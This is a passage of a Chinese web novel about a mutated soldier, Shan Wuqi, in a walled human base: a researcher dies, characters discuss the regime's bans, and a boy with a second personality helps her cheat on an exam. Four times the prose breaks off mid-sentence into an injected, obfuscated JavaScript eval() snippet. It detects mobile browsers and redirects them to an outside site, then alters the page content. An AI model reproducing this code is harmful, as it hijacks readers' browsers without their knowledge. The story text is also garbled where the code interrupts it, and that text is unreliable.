门后的世界寂静得仿佛坟墓。 单无绮叹了口气,再次敲响房门。 “单副……单专员竟然变得这么温和。”远处,铁平康端枪支援,啧啧称奇,“看来流放的三年里,她被抹去了不少棱角,和故事里的血娘子已经相差甚远了。” “你信了那些报纸?”尤娜问。 铁平康摇头:“自从单副官被流放后,我就没买过报纸了。” 他望着单无绮的背影,钢蓝色的眼睛里充斥着纯粹的景仰:“中央区的政治手腕无法辐射整个外城,许多外城人仍然记得单副官的好,即使诗歌被禁止,戏剧被封杀,他们依然用自己的方式纪念着她。” 这一次,梅没有纠正“单副官”这个称呼。 他竟然有点兴致盎然:“纪念?他们没挨够她的鞭子吗?” “外城人早就习惯挨鞭子了。”铁平康摇头,“但单副官是唯一一个,抽完鞭子后不仅管饭管药,还会给他们的孩子念童话书的人,而且她抽鞭子不是出于泄愤或取乐,而是催促他们抢耕土地、修建新屋。” “虽然他们很笨,可他们也很聪明。”铁平康垂眸轻笑,“他们知道,谁在真正爱着他们。” 耶纶听得泪汪汪:“我……我以为她很凶。” “她的确很凶,同志。”铁平康笑了一下,“如果我没猜错的话,她失忆了,对吗?” 梅“嗯”了一声。 “如果她还记得我,见到我的第一眼,她的枪托就该抡上我的脑门了。”铁平康唏嘘地感慨。 尤娜和麦尧对视一眼。 尤娜皱眉:“为什么?” “成为稽查员前,我是一个外城公民,是最低等的泽塔。”铁平康看着单无绮的背影。 他的眼神有点放空:“我和我的泽塔朋友们,偷过她晾在外面的衣服,包括胸罩和内裤。” 梅、麦尧、尤娜、耶纶:“……” 铁平康补充道:“三次。” 梅、麦尧、尤娜、耶纶:“…………” 铁平康看不见的背后,梅举起了枪托。 ——吱呀。 ——是房门打开的声音。 众人结束闲聊,齐齐看向赫勒瓦尔的居所。 单无绮看着打开的房门。 门只拉开了一条缝。 一根生着鳞片的触手攥着门把手,每一只吸盘都是一只眼睛。 “赫勒瓦尔,是你吗?”单无绮问。 “……所长,是您吗?”门后,赫勒瓦尔发出不似人声的嘶哑声响,仿佛铁片相互摩擦,“我没想到,您会亲自过来。” 所长。 研究所所长? 共荣部? 单无绮皱眉。 她没承认也没否认:“我是单无绮。” “是您啊。”门后的声音轻松下来。 他竟然直接拉开门,将异种的模样展露在单无绮面前:“我很久没见到您了,我很想念您。” 单无绮沉默。 面前的赫勒瓦尔已经失去了人形。 他站在门后,双手双脚已经胶质化,变为数十根或粗或细的触手。 他用最长的触手拧着门把手,最短的触手长在他的皮肤上,像一簇簇畸形的肉芽。 他浑身的皮肤变得剔透,仔细一看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429116|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,几乎能看到皮下的血管和骨头,但皮囊下更多的,是一团团纠缠的触手。 他仿佛一颗蛇卵,群蛇皆在卵中熟睡,亟待醒来。 单无绮盯着赫勒瓦尔的脑袋。 群蛇已经快要苏醒了。 他的大半个大脑已经被触手吞噬,薄如蝉翼的皮肉包裹着颅内异物,彼此蠕动、啃啮。 “您请进。”赫勒瓦尔的双眼十分平和,“我有很多话想对您说。” “在这里不行吗?”单无绮努努嘴,示意赫勒瓦尔看向身后,“看,那里有一群持枪的猎手,如果你有任何异常,你会被直接击杀的。” 赫勒瓦尔摇头。 “我的时间不多了。”他的声音低弱得近乎哀求,“请您……跟我来。” 赫勒瓦尔脑中的触手似乎察觉到什么,开始加速蠕动、啃啮。 赫勒瓦尔流露出痛苦的神色。 但他依然坚定地看着单无绮:“请跟我来。” 单无绮思考片刻。 她朝身后比了个手势,随赫勒瓦尔走进屋内。 屋内陈设简单,废稿堆满桌子和地面。 赫勒瓦尔来到桌前。 桌上有一沓厚厚的论文。 赫勒瓦尔想要捧起论文,但当他抬起手臂时,他才恍然发觉,他的上身已经变成了触手。 他看向单无绮:“请您……把这份论文带给首长。” 单无绮看着论文的封面。 ——那是一份有关“特型血清”的研究报告。 单无绮垂下眼眸。 赫勒瓦尔一言未发。 压下内心翻涌的情绪,单无绮吐出一口气,用衣服擦净双手,轻轻拿起那沓论文。 但一只触手忽然钳上了她的腕子! 赫勒瓦尔说:“别碰它!” 但片刻后,赫勒瓦尔收回触手。 他抱住自己的身体,整个人如触碰火焰般瑟缩起来:“不……不,不能伤害她。让她走,让她带着东西走。” 两部党员鱼贯而入,数个黑漆漆的枪口对准赫勒瓦尔。 单无绮抬手:“放下。” 尤娜焦急道:“单无绮,你……” “赫勒瓦尔,我是单无绮,首长的副官。”单无绮看着赫勒瓦尔衰败的面庞,“首长让我向你转达一句话。” “感谢你对人类的贡献,我们将永远铭记你。”单无绮的目光沉重而悲哀。 赫勒瓦尔久久不语。 “啊……”他终于开口,“二十三年了……” 话音刚落,他脑颅开裂,触手从颅缝疯狂长出。 红色的浆液从他头顶淌下。 他作为人的生命已经所剩无几。 他安静地盯着单无绮,浑浊的双眼突然流下两行眼泪。 “论文……我交给你了。”他沙哑地说,“为了人类的……黎明……” 单无绮颔首。 在所有人的注视下,赫勒瓦尔的皮肤立刻被鳞片覆盖,黏腻的触手瞬间增殖,从裂开的颅脑井喷而出。 梅第一个举枪。 但一只触手率先贯穿了赫勒瓦尔的心脏。 失去母体的触手焉萎着倒下,清亮的脓液渗透压失衡一样从表皮溢出。 单无绮收回触手。 她的怀里,紧紧抱着那沓论文。 即使屋内血如井喷,那沓论文也没有溅上一丝血污。 “他是作为人类而死的。”当全屋的视线汇聚到单无绮身上时,单无绮说,“让他以人类的身份下葬吧。” “异变一旦发生就无法逆转,他是异种。”梅说。 “我是异种,这件事我最有发言权。”单无绮道。 她抱着论文,从屋内走到屋外。 当房屋阴影从她脸上逝去,阳光照在她的脸上时,她重新挂上了笑容。 “老铁同志。”她道。 “我叫铁平康。” “赫勒瓦尔的葬礼,就麻烦你了。”单无绮没有转身,“如果人手不够,小麦会协助你。” 麦尧:“……” 麦尧:“请叫我小洛佩兹。” 铁平康行了个军礼:“收到!单副官。” 8. 对话 赫勒瓦尔的死没有引起任何波澜。 在铁平康的指挥下,稽查员反复进出,将赫勒瓦尔的遗物搬运、焚毁。 有胆大的孩子翻过警戒线,在地上捡稽查员遗落的东西。 “是糖!”一个男孩惊喜地说。 他吃掉糖,把糖纸扔到地上。 铁平康驱赶小男孩,和闻声赶来的麦尧对视一眼,又齐齐低头,盯着地面上的糖纸一阵唏嘘。 赫勒瓦尔就这么死了,比石子落入湖潭还悄无声息。 没人记得他是人类第一基地的核心党员。 他们只会记得,一个古怪的老头变成了异种。 单无绮的眼睛盯着小男孩咀嚼糖果的腮帮。 “这是赫勒瓦尔的糖。”她说,“你吃了他的糖,至少向他说一声谢谢吧。” “他之前老送我糖吃。”小男孩说,“但妈妈让我不要和他说话,他是个怪人!他连胡子都不刮!衣服前面总是挂着汤汁!” “你吃了他的糖。” “好啦,好啦,谢谢赫勒瓦尔。”小男孩说完,三两口嚼碎糖,兔子似的跑了。 单无绮盯着小男孩远去的背影。 尤娜走到单无绮身边:“你在想什么?” “我在想,人类第一基地到底是个什么地方?”单无绮答。 “在野外游荡时,我脑袋里只有一个执念:回家。”单无绮深吸一口气,“那个时候,我以为我将回到伊甸园,我是遗落尘地的亚当和夏娃。” 尤娜沉默。 单无绮提出另一个问题:“基地建成多少年了?” “325年。” “325年,人类像家畜一样,被这面高墙困住了325年。”单无绮摇头。 她再次看向街道尽头,小男孩早已跑得不见踪影了。 “外城的每一个人都在挨饿,但在内城,我甚至看不到一张饥瘦的脸庞。”单无绮的声音听不出情绪,“划分内外城,将公民分为六等,首长这么做,难道只为了所谓的团结、友爱、勤劳、共荣?” 尤娜没有立刻接话。 良久,她道:“一开始,内城和外城不是这样的。” “在你被流放前,虽然有内外城之分,虽然公民有六等,但这只关乎籍贯,每个人心里都清楚,我们是平等的,我们的汗水都为基地而流,我们是光荣的劳动者。” 尤娜唏嘘道,“那个时候,我们还会亲切地称呼首长:老大哥。” 单无绮安静地看着尤娜。 “但一切都变了,在三年之前。”尤娜轻声说,“你的流放仿佛一个信号,在那之后,四部彻底成为了首长的鹰犬。” “一开始,只是发行建议书。” “每一位公民的家里,都有一本《基地手册》。封面上,以首长为原型的老大哥安静地注视着你,首长的拥趸将它视为圣经,基地三度为之纸贵。” “但之后,首长颁布了九条禁令。” “禁止个人拥有武器;禁止传播异端思想;禁止组织集会;禁止拥有私人财产;禁止个人自由迁徙;禁止批评政府;禁止任何形式的艺术创作或文化表达;禁止个人选择职业或教育路径;禁止个人信仰或实践任何宗教。” 单无绮垂眸。 她轻声道:“基地,在塑造愚民。” “团结、友爱、勤劳、共荣——这是三年来,基地烙刻在公民脑中的真理。”尤娜笑了声,“但民智可疏不可堵,他们满以为塑造了理想的神国,殊不知,一切只等一根导火索。” 单无绮沉默。 她突然有了不妙的预感。 “三年里,基地疯了很多人,也死了很多人,赫勒瓦尔不是第一个,也不是最后一个。”尤娜终于挑明话题,“你因莫须有的罪名,被首长亲手流放,你是第一个品尝苦果的人,你在那些人心中,是等同于神明的受枷者。” 尤娜灼灼地盯着单无绮:“你打算如何回应他们的期许?” 单无绮看着尤娜。 出发前,尤娜匆匆套上了制服。 这是四部党员的标配,但她并未穿戴齐整。 她仅仅将制服披在肩上,内里仍是那套漆黑的装束。 “我有和你说过吗?你很像一只告死鸟。”单无绮说,“你的话落在我耳中,仿佛在向我通报死讯。” 尤娜冷哼:“你无权批判我的穿衣自由。” “我的恶意不会向女孩子发泄。”单无绮笑道,“就算你把头发染成绿的,穿着七彩羽衣在大街上跳求偶舞,我也只会为你鼓掌。” 尤娜安静了一瞬。 “人类总是擅自期待又擅自失望。”单无绮说,“别把我想得太伟大,他们的期许是他们的事,我的行事准则不会动摇半分。” 尤娜固执地盯着单无绮:“你明明和梅司长大吵了一架。” “偷听墙角可不是好习惯。” “梅司长从不和人吵架,他只会一枪崩了对方。你们到底吵了什么?” “你的眼神告诉我,你想问的不是这个。”单无绮凝视尤娜的黑眸。 她在那双黑眸里看到了彷徨的神色。 剥开锋芒毕露的表相,尤娜仿佛一只跌落巢穴的雏鸟。 “你在担心什么?尤娜。”单无绮问,“难道……你在担心我?” 尤娜没有回话。 “我并非不知道我的处境,禁闭室的三天里,即使经受了流水般的拷问,我也能有片刻喘息。” 单无绮抬头望天,“那三天,我想了许多。” “我知道这里并非乐土,而且我的身份并不清白,我有太多秘密了,致命的是,这些秘密连我本人都不知晓。”单无绮的语气很平静,“我仿佛时刻走在万丈深渊的边缘,稍有不慎就会失足跌落,结局比粉身碎骨还凄惨百倍。” “但是没关系,尤娜。” “我一直相信,直觉不会骗人。如果基地不值得我回来,我的大脑不会告诉我:回家。” 尤娜闭眼:“把性命托付给第六感,你可真够蠢的。” “也许吧。”单无绮耸肩,“但人就是这么矛盾,我其实是一个挺现实的人。” 尤娜半晌没开口。 铁平康在二人不远处停下,手里捧着一个骨灰罐。 单无绮和尤娜擦身而过,向铁平康走去。 “……你为什么现在才回来呢?”尤娜突然道。 单无绮停下脚步。 她回头:“什么?” “你不如一辈子不回来!”尤娜尖利地说,“墙外只有异种,但墙内……已经比墙外更加危险。” 单无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429117|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绮笑了一声。 “感谢你的关心,尤娜。”她笑道,“你果然是个好女孩。” 尤娜垂着头,看不清表情。 没有关心尤娜的反应,单无绮回过头。 她走到铁平康面前:“这是赫勒瓦尔的骨灰吗?” “是的。”铁平康垂下眼睛。 他剃着寸头,五官狂狷不羁,神色却沉静悲悯。 “人类的异化条件至今不明,根据规定,所有沾上异种□□的东西,都要统一销毁。”铁平康说,“三年来,外城的异种侵袭愈发频繁,异种样本无需送往研究所,便可直接就近焚毁。” 他将骨灰罐交给单无绮:“我单开了一台焚化炉,把他的遗体单独烧毁。他没有亲人,遗产只够买半个墓碑,麦尧专员自掏腰包,补上了另一半的钱。” 单无绮沉默数秒:“能报销吗?” “不能。”铁平康摇头。 “他流了许多眼泪。”铁平康补充,“他是唯一在在墓碑前痛哭流涕的人,而且,他和死者素不相识。” * 单无绮将那沓论文交给阎银华。 阎银华叹了口气:“我会把它转交给研究所的。” 单无绮盯着阎银华的红发。 “银老头,”她说,“你还是不戴假发更顺眼。” “是吗?”阎银华把红发摘下来。 他对着窗玻璃打量自己:“哎呀,在我的审美看来,有头发的我更加英俊,很有年轻时的模样。” 他摸出一本相册。 “看,这就是我。”他翻开一页,大拇指摁在一张合照的某个面孔上。 “这是二十三年前的事了。”阎银华唏嘘道,“那时的我还很年轻,首长也还是个毛小子。我是团结部的调查员,他是共荣部的研究员,我们和其他志同道合的好友,一起在研究所的大门前,拍了一张大合照。” 单无绮凑过去。 那是一张黑白照片。 人类第一基地建立在旧人类文明的废墟上,二十三年前,文明复兴的进度还停留在工业革命时期。 照片上,年轻的阎银华勾着少年首长的肩膀,首长那时还没有蓄起胡须,深邃冷厉的五官清晰可见。 这张大合照上有很多人。 单无绮甚至找到了年轻时的赫勒瓦尔。 “他们真俊。”单无绮轻声说,“仿佛在相片上活着似的。” “年轻的时候,谁不是意气风发?”阎银华笑呵呵道,“只是人终有老去的一天,这个时候,就该把火炬交给年轻人了。” 单无绮盯着阎银华:“你有点伤春悲秋。” “我已经五十三岁了,体谅一下我吧。”阎银华没有反驳。 “基地的退休年龄是多少?” “五十五岁。” “等你退休,你的位置给我坐。” “真是狮子大开口啊。”阎银华扭过头,单片眼镜后的眼睛看着单无绮,“两年时间,你顶多从见习员升到司长。” “我离司长只差一票了。” “鸟儿被钉死在标本板上前,以为自己拥有整片天空。” “……” “你已经被流放过一次了。”阎银华深邃地看着单无绮,“壁外调查即将重启,先做好眼下的事情吧,无绮。” 9. 双重人格 此后,单无绮一直在接受培训。 单无绮失去了记忆,她的大脑记得的,只有一些基本的生活常识。 如果作为一个普通人,单无绮已经可以独立生活。 但她加入了调查司。 调查司是死亡率最高的司室,仅有的生活常识无法保障她的生命安全。 但单无绮的表现十分优秀。 她与其说在培训,不如说在复健。 尤娜负责监督培训进度。 当尤娜看到单无绮闭着眼睛,凭手感就能把狙击枪拆解并组装时,尤娜立马意识到,作为首长曾经的副官,失忆的单无绮和拔牙的老虎绝不能画上等号。 相反,单无绮称得上如虎添翼。 ——单无绮同时拥有人类的理智和异种的身体,除非动员四部乃至整个基地,对单无绮下达追杀令,不然,没有人是单无绮的对手。 单无绮是空降到调查司的。 尽管有首长亲自背书,但她仍然需要通过考核,才能加入即将重启的壁外调查行动。 阎银华表示,因为时间紧迫,考核流程可以适当从简。 “所以,可以取消笔试吗?”单无绮可怜巴巴地祈求。 她头疼地翻阅手中的异种图鉴。 这本厚厚的图鉴书是基地内部资料,足有砖头那么厚。 “异种这玩意儿,一刀子捅死不就行了。”单无绮扯自己的头发,“如果非要活捉,只留它一口气也很简单啊,我不至于连这点手感都没有。” 阎银华笑眯眯地看着单无绮。 单无绮哀嚎:“银老头,我怀疑你公报私仇!” “就你这样,还想当调查司司长?”阎银华道。 单无绮:“……” 单无绮:“我的意思是,至少给我划一下重点。” “没有重点,或者说,整本图鉴都是重点。”阎银华说。 单无绮安静了。 她低头看着图鉴。 “大灾变后,人类无法适应突然出现的污染,于是在旧文明的废墟上建立了新基地。”阎银华道,“新历7年,调查司展开第一次壁外调查,他们发现了第一只异种,以牺牲一半成员为代价,将那只异种的尸体带回了基地。” “那只异种被命名为‘S-0’,又称‘零’。” “但仅仅半年后,在第二次壁外调查中,我们的前辈惊讶地发现,外面的异种进化了。” “这是一种匪夷所思的进化速度,它违背了一切已知的真理。” “此后的三百多年里,人类一直都在探索异种的秘密,希望借此解析污染的真相,但直到今天,我们依然在未知中摸索——这本《异种图鉴》,是用无数人的生命换来的。” “无绮。”阎银华深沉地看着单无绮,“你是一个优秀的单兵,但头羊并非羊群中战力最强的一只,智慧,才是人类生存的法宝。” 单无绮垂眸。 “我有一个问题。”她轻声问,“那两个小孩儿,也会一起外出调查吗?” “你是指佩特拉和维沙尔?” “是的。” “佩特拉其实已经成年了,但叫她小孩儿倒也没错。”阎银华道,“她来自共荣部研究所,因为一场意外,她的心智和身体永远停留在了八岁。” 单无绮皱眉。 她的心中盘桓着不妙的猜想。 ——佩特拉,大概率是研究所的实验品。 ——而且,极有可能是一个失败的实验品。 “调查司中,只有你和尤娜戴着拘束器,但发生异化的人,其实不止你们两个。”阎银华道,“佩特拉是特殊的异化人类,她的体内,人类和异种的部分达成了微妙的平衡,如果给她戴上拘束器,很有可能打破这种平衡。” “她如何保持理智?”单无绮问。 “饥饿。”阎银华答,“成为党员前,她是一个普通的外城公民,是第五等的埃普斯隆。饥饿感从出生起就伴随着她,这也是她身为人类的短暂岁月中,最熟悉的一种感受。” 单无绮安静了一瞬。 这个理由真实得有些残忍。 “那么维沙尔呢?”单无绮很快调整好情绪,“他似乎只是一个普通小男孩。” “维沙尔的情况比佩特拉更加特殊。”阎银华叹了一口气。 单无绮抬眉。 “先不讨论这个了,你目前的当务之急,是把这本图鉴背完。”阎银华转移话题。 单无绮:“……” 单无绮:“挖坑不填是大罪,小心我把你假发薅下来。” 关于维沙尔的话题最终没有下文。 单无绮埋头苦读,拿出头悬梁锥刺股的劲头,终于在凌晨时分,把图鉴勉强看完了。 她恹恹地躺在椅子上,触手充当阅读架,尽职地举着那本图鉴。 “……夜已经这么深了。”单无绮看向窗外。 身为调查司的见习员,以及一名四部党员,单无绮的待遇说好不好,说差也不差。 她分到了一间单人宿舍,但她这几天忙得脚不沾地,根本来不及打扫。 在“马上睡觉”和“熬一会儿再睡”之间,单无绮毫不犹豫地选择了后者。 她的背后伸出十余根触手。 “大扫除!开始吧!”用触手卷起扫把、拖把、抹布等清洁工具,单无绮大声道,“一屋不扫,何以扫天下!” 十分钟后,单无绮“扑通”倒在床上。 “大扫除什么的,还是之后再说吧。”她抱住被子,“只要闭上眼睛,我就看不见房间有多乱。” 咚咚咚! 宿舍门被敲响。 单无绮艰难地抬起头:“谁啊?” “……是我,抱歉。”门外的人是维沙尔,“我吵醒你了吗?实在不好意思。” 单无绮坐起身。 她伸出一根触手打开房门。 维沙尔仓皇地站在门外。 见房门打开,维沙尔怯懦地后退两步。 单无绮好奇地问:“现在挺晚了,你找我有什么事吗?” 维沙尔连连摇头:“没有!没有!” 停顿几秒后,他小声补充:“我睡不着,所以出来走走。” 单无绮想起白天中断的话题。 她笑眯眯地招手:“那正好,咱们聊聊。” 维沙尔推辞了好几次,但他的意志并不坚定。 在单无绮的盛情邀请下,维沙尔说了句“抱歉”,轻手轻脚地走进宿舍。 维沙尔的存在感极低。 他只比佩佩高一点,唇色浅淡,肤色白皙,眉眼精致,头发和虹膜都是低纯度的沙色。 进入单无绮的宿舍后,维沙尔显得十分拘束,连手脚都不知道该怎么放。 单无绮给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你是童工吗?”单无绮问。 维沙尔:“……” 维沙尔:“啊?” “基地人口有130万,四部不至于连成年人都招不到。”单无绮摊手,“但调查司很奇怪,它不仅只有六个人,而且还包括两个小孩儿。” “所以我真的很好奇,你到底是怎么加入调查司的?”单无绮摸着下巴,笑眯眯地凑近维沙尔,“介意告诉我答案吗?” 维沙尔明显犹豫了。 他仿佛忌惮着什么,因此不敢向单无绮解释。 单无绮伸出一大堆触手。 感谢心血来潮的大扫除活动,单无绮对触手的微操技术细腻了不少。 她把触手挥得“呼呼”作响:“维沙尔,现在坐在你面前的,是人类第一基地的最强单兵,你不用害怕任何人,只用遵从内心的选择。” 维沙尔盯着半空中挥舞的触手。 他安静地看了很久,突然舒出一口气。 他轻声说:“我知道我是怎么通过考核的——通过考核的人,其实不是我。” “他叫维果。”维沙尔的眼神流露出不符合年纪的哀伤,“你想见见他吗?” “当然啦。”单无绮点头。 “好。”维沙尔说。 在单无绮的注视下,维沙尔闭上双眼。 数秒后,维沙尔睁开眼。 “本大爷今天也帅得起飞!” 维沙尔,不,维果高傲地说,“卑贱的人类,说吧,要见本大爷做什么?” 10. 作弊 单无绮:“……” 单无绮:“这个讨厌的家伙是谁?把可爱的维沙尔还给我。” 维果和维沙尔完全不同。 他个头小小,却仿佛能跳起八丈高:“你们一个两个,为什么全都偏心维沙尔!” 他真的气得跳起来了:“那个卑贱怯懦的家伙,到底哪里值得你们喜欢?!” 单无绮摁住维果。 她伸出手,抬起维果的下巴,把那张漂亮的小脸掰来掰去,试图找到一丝和维沙尔相似的表情。 维果拍掉单无绮的手:“女人,放肆!” 单无绮放下手。 答案已经很清晰了。 维果和维沙尔共用一具身体,也许是一体双魂,也许是精神分裂。 参加考核的人是维果,维沙尔和维果共享考核成绩。 谜底揭开,单无绮收起触手,坐回床上。 “银老头果然总结得不错。”她有点唏嘘,“四部是一个巨大的精神病院,里面住着各处搜罗来的疯子。” 维果有点诧异:“你不问我为什么变成这样?” “为什么要问?”单无绮散漫地说,“比起讨论你的来处,我更好奇你的去处。” “什么意思?” “你的身体只是一个普通的小男孩。”单无绮道,“壁外调查即将重启,银老头说,你也要参加——你打算怎么活下来?” 维果沉默。 “你参加过壁外调查吗?”单无绮问。 “我去过墙外。”维果答。 “你杀过异种吗?” “……那年我7岁,作为见习调查员驻守补给点,没有参与战斗。” “你想战斗吗?”单无绮盯着维果的眼睛。 “想!当然想!”维果一下子支棱起来。 他再次从椅子上站起来,小小的个头,大大的气场:“我一直想去前线,我受够缩在后面记录资料的日子了!但维沙尔永远只会摇头,用他那种恶心的、软绵绵的语气劝我说:这样很危险,我们不该给其他人添乱。” “我可以带你上战场。”单无绮说。 维果的眼睛一亮。 “但我有个条件。”单无绮开出条件,“你得想办法帮我作弊。” 维果:“……” 维果的脑子转得很快:“你不是已经看完图鉴了吗?我当年考核的时候,除了《异种图鉴》,还要考《动物志》《植物志》《野外生存手册》……” “你的体能考核是怎么过的?”单无绮狐疑地盯着维果。 “我是少年班特招的,是四部的储备人才。”维果骄傲地抬起下巴。 “哦。” “不要用看弱鸡的表情看本大爷!” “我还是比较适合抡拳头干架。”单无绮扬了扬图鉴书,“我不是记不住,只是时间太紧迫了,明天我就要参加考核了。” “哦。” “不要用看弱智的表情看老娘!” “纠正一下,不是‘明天’,是‘今天’,现在已经凌晨零点了。”维果看了眼墙上的挂钟。 单无绮眯眼:“所以?” “你的脖子上戴着狗牌,在你的身上,我闻到了……异种的味道。”维果微妙地停顿了一下。 他说:“我能把答案直接灌进你的大脑。” 单无绮安静了一瞬。 “这可不像人类的能力啊。”她意味深长地说,“维果,你到底是什么人?” “我来自研究所。”维果意外回答得很爽快。 单无绮想到了佩佩。 ——她也来自研究所。 ——并且,疑似研究所的失败实验品。 “你先灌点什么试试。”单无绮暂时放下疑心,“万一你的能力对我不奏效呢?” 维果点头。 他合上眼睛。 维果看起来毫无异样。 他的神色和熟睡的婴儿一样静谧,微弱的月光穿透窗子,照在他沙金色的睫毛上,犹如覆盖了一层白霜。 下一秒,单无绮听到了一个声音。 那声音诡异莫测,又含糊异常,它萦绕在单无绮的耳边,但当单无绮仔细分辨,它又从听觉里消失不见。 它在诉说—— “……盖娅!” “……盖娅!” 单无绮沉浸在不可名状的、灵冥的絮语中。 “你怎么了?”维果突然道。 单无绮猛地睁开眼。 这时,单无绮才反应过来,她竟然不知何时闭上了双眼。 她盯着坐在面前的维果。 ——维果一直保持着熟睡的姿态。 ——他的声音并非由声带发出。 “愚蠢的人类,我在用灵识和你说话。”维果嘲讽地提醒。 “灵识?是脑电波吗?” “勉强算是吧。但它们的区别,就像游泳的鱼和骑自行车的鱼一样大。” 单无绮:“……” 单无绮:“什么破比喻。” 但还没聊几句,单无绮颈上的拘束器突然变得滚烫。 拘束器从没有这么烫过。 即使那一次,佩佩融入她的身体,安多尼颂念经文将二人分离时,拘束器都不至于如此滚烫。 单无绮觉得自己的脖子都快烫化了。 她焦急地说:“维果,断掉链接!” 话音刚落,她不受控制地长出触手,一不留神抽飞了维果。 维果“啪叽”一声摔在地上。 他睁开眼。 “……你们聊完啦?”掌控身体的人变成了维沙尔,“他、他惹你生气了吗?” 单无绮盯着维沙尔羞怯的小脸。 同样的五官,截然相反的神韵。 维果和维沙尔完全是两个人,他们的区别比游泳的鱼和骑自行车的鱼还大。 即使共用一具躯体,但没人会把他们认作一个人。 单无绮沉痛地摇头。 安抚并送走维沙尔后,单无绮瘫坐在椅子上。 她认命地举起书:“靠天靠地,不如靠自己啊。” * 白天,单无绮参加考核。 此次考核为内部考核,成绩不对外公布,考生只有单无绮一人。 来到考场后,单无绮惊讶地看着两位监考员。 “梅?”她眨了下眼睛,“还有……萨摩?” “日安,单无绮。”萨摩的表情永远是那么严肃,“为了确保考核成绩的公正性,本次考试实行交叉监考制度。” “真是大动干戈。”梅辛辣地点评。 “抱歉,梅。”萨摩回应,“这是四部惯例。” 梅没有分给萨摩一个眼神。 “试卷和笔在桌上。”梅看向单无绮,“我一秒也不想和这个狗崽子待在一起,你写快点,我早些走。” 单无绮:“……” 单无绮认命地闭眼。 她坐在桌前。 梅和萨摩同时开始计时。 单无绮看着试卷上密密麻麻的题目。 【请简述B-23型异种和B-25型异种的进化关系。】 【若要调查X范围内各型异种的分布密度,可以采用的方法是?(请写出至少三种)】 【图4-图6,是A-X型异种的三种进化分支,请问这是几型异种?简述理由。】 【……】 单无绮:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429119|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——为什么每一个字她都认识,但组合起来就不认识了? 单无绮拧开笔盖,疯狂填补试卷中的空白。 她的大脑一片浆糊。 梅坐在离萨摩最远的对角处,手臂搭在窗边。 萨摩的目光停留在单无绮脸上。 他的眼神有点放空,不知道在回忆什么。 奋笔疾书半小时,单无绮放下笔。 即使绞尽脑汁,但是,那张试卷依然穿插着大面积的空白。 一切能编的话她都已经编上去了。 完啦! 单无绮冷汗涔涔地想道。 她没办法参加壁外调查了! 一个声音突然在单无绮耳边响起。 “……蠢……的人类……”那声音断断续续,仿佛一只破旧的收音机,“……听……到吗……” 单无绮:“!” 单无绮在脑中问:“维果?!” “……放开……权限……”维果艰难地下达指令,“……蠢……精神锁……” 单无绮有点手足无措。 虽然她变成了异种,但目前为止,她只会舞弄她的触手,有关精神领域的能力,她从未尝试发掘。 “我该怎么做?”单无绮虚心请教。 “……笨蛋……闭眼……” 单无绮照做。 突然,单无绮耳边剧烈地嗡鸣了一声。 但单无绮没有感到一丝不适。 她感到自己的大脑……不,应该是某个更深层的地方。 或者是灵魂,或者是神识,或者是更加虚无缥缈的精神海。 维果以强烈的存在感来到了单无绮的感知中。 精神链接建立在单无绮和维果之间,犹如一个不牢固的契约。 单无绮睁大双眼。 这感觉太新奇了! 也许因为她和维果在物理意义上分开了,这一次,她脖子上的拘束器没有发烫。 “嗨,维果。”单无绮试探地说。 “哟,女人。”维果的语气一如既往地欠揍,“我付出了一点微小的代价,你现在能听到我说话了,对吧?听到请扣1,没听到请说:维沙尔是个大傻逼。” 单无绮:“……” 单无绮:“111!” “让我开启共享视野。”维果道。 但几秒后,维果爆发出尖锐爆鸣声。 “蠢女人!你到底在试卷上写了什么?!” 单听维果的声音,单无绮都能想象出他气得跳脚的模样,“为什么,为什么这道题你要选D?A-13型异种和A-17型异种你竟然能搞混?” 单无绮:“……” “还有这里!”维果的声音又高了八度,“你是无话可写了吗,居然用整整三百个字在赞美太阳?!” 单无绮:“…………” 在维果的指导下,单无绮重新开始奋笔疾书。 “等等,我离开一下。”维果的语气突然不耐烦,“有只烦人的小虫子一直在我耳边嗡嗡叫。” 单无绮生出不妙的感觉。 她皱眉:“你在哪里?” “某个卑劣奴仆的地下据点里。”维果道。 这个答案透露着浓浓的诡异。 单无绮追问:“那个人是谁?” “他的名字不值得我记住,因为他只是一只卑贱的小虫子。”维果答。 单无绮:“……” “唔,有趣,有趣。”维果突然说。 他似乎在和其他人交流。 那人也许正是他口中“卑贱的小虫子”。 “我卑劣的奴仆向你问好。”过了一会儿,维果对单无绮说,“他说,你可以叫他‘蜂’。” 11. 墙外 